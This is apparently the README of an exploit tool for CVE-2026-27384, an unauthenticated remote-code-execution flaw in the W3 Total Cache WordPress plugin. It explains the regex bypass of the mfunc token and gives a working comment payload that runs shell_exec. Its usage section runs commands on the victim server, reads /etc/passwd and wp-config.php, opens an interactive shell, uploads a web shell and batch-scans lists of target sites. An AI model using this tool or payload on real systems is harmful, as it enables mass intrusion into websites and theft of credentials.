
CVE-2026-27384 के लिए स्वचालित स्कैनर और शोषण, W3 Total Cache में mfunc/eval() इंजेक्शन के माध्यम से एक अप्रमाणित RCE। इसमें स्वचालित पहचान, 48 पेलोड वेरिएंट, इंटरैक्टिव शेल और बैच स्कैनिंग शामिल है।
प्लगइन: W3 Total Cache प्लगइन स्लग:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS स्कोर: 9.8 (गंभीर) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: अप्रमाणित मनमाना कोड निष्पादन (eval()के माध्यम से कोड इंजेक्शन) प्रभावित संस्करण: <= 2.9.1 पैच किया गया संस्करण: 2.9.2 प्रकाशन तिथि: 24 फरवरी 2026 शोधकर्ता: CODE WHITE GmbH
W3 Total Cache प्लगइन की Dynamic Fragment Caching सुविधा (mfunc/mclude प्रणाली),
HTML टिप्पणियों में एम्बेडेड PHP कोड को eval() के साथ निष्पादित करती है।
इस सुविधा की रक्षा करने वाले W3TC_DYNAMIC_SECURITY टोकन को, कई कोड त्रुटियों के
एक साथ आने से बायपास किया जा सकता है।
परिणाम: प्रमाणीकरण की आवश्यकता के बिना, केवल एक WordPress टिप्पणी सबमिट करके सर्वर पर मनमाना PHP कोड निष्पादित किया जा सकता है।
| क्षेत्र | मान |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| प्रकार | Code Injection → RCE (CWE-94) |
| प्रभावित संस्करण | <= 2.9.1 |
| पैच किया गया संस्करण | 2.9.2 |
| प्रमाणीकरण | आवश्यक नहीं |
| उपयोगकर्ता सहभागिता | आवश्यक नहीं |
| पूर्व शर्त | W3TC_DYNAMIC_SECURITY में regex मेटाकैरेक्टर होना चाहिए |
W3TC की Dynamic Fragment Caching सुविधा, डेवलपर्स को पेज HTML में विशेष टिप्पणी टैग के माध्यम से PHP कोड एम्बेड करने की अनुमति देती है:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC कैश से पेज प्रस्तुत करते समय इन टैग को संसाधित करता है:
एम्बेडेड PHP को eval() के साथ निष्पादित किया जाता है, इसका आउटपुट टिप्पणी ब्लॉक के स्थान पर लिखा जाता है।
preg_quote() की कमी (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY सीधे regex में जोड़ा गया
// preg_quote() नहीं है → टोकन एक regex पैटर्न की तरह व्यवहार करता है
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
यदि टोकन '.' है तो regex <!--\s*mfunc\s*.(.*)--> हो जाता है →
कोई भी एक वर्ण टोकन के स्थान पर काम करता है।
\s* बनाम \s+ असंगतता| फ़ंक्शन | Pattern | व्यवहार |
|---|---|---|
_parse_dynamic() — चलाता है | mfunc\s*TOKEN | 0 रिक्ति स्वीकार ✅ |
strip_dynamic_fragment_tags_from_string() — साफ करता है | mfunc\s+TOKEN | कम से कम 1 रिक्ति अनिवार्य ❌ |
हमलावर पेलोड: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfunc और टोकन के बीच कोई रिक्ति नहीं
strip फ़ंक्शन: \s+ → मेल नहीं खाता → पेलोड बना रहता है
execution regex: \s* → मेल खाता है → eval() निष्पादित होता है
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ केवल defined() जाँच — empty() या मेटाकैरेक्टर जाँच नहीं
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex मेटाकैरेक्टर — कोई भी वर्ण)
│
▼
हमलावर टिप्पणी सबमिट करता है:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
पैटर्न: mfunc\s+[^\s]+ → \s+ अनिवार्य, कोई रिक्ति नहीं → बायपास ✅
│
▼
टिप्पणी डेटाबेस में सहेजी जाती है, पेज कैश किया जाता है
│
▼
दूसरा HTTP अनुरोध → W3TC कैश से प्रस्तुत करता है
_has_dynamic() → mfunc\s*. → 'A' मेल खाता है → true लौटाता है
│
▼
_parse_dynamic() → preg_replace_callback
पैटर्न: mfunc\s*. → 'A' मेल खाता है
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ अप्रमाणित RCE ✓
प्रमाणीकरण के बिना सर्वर पर वेब सर्वर अधिकारों के साथ मनमाना PHP कोड निष्पादित किया जा सकता है:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Mod | विवरण |
|---|---|
auto | साइट स्कैन करें → टिप्पणी पृष्ठ ढूंढें → एक्सप्लॉइट करें (डिफ़ॉल्ट) |
exploit | सीधा एक्सप्लॉइट — पोस्ट URL के साथ |
shell | इंटरैक्टिव शेल |
detect | केवल W3TC का पता लगाना |
python w3tc_rce.py https://hedef.com
स्कैनर निम्नलिखित करता है:
# id कमांड
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd पढ़ें
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php पढ़ें
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# पोस्ट ID मैन्युअल
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
शेल खुलने पर स्वचालित रूप से whoami, hostname, pwd, uname -a निष्पादित होते हैं:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
कमांड: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC स्थापित है!
संस्करण : 2.9.1
Cache : True
[!] संस्करण 2.9.1 भेद्य है (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v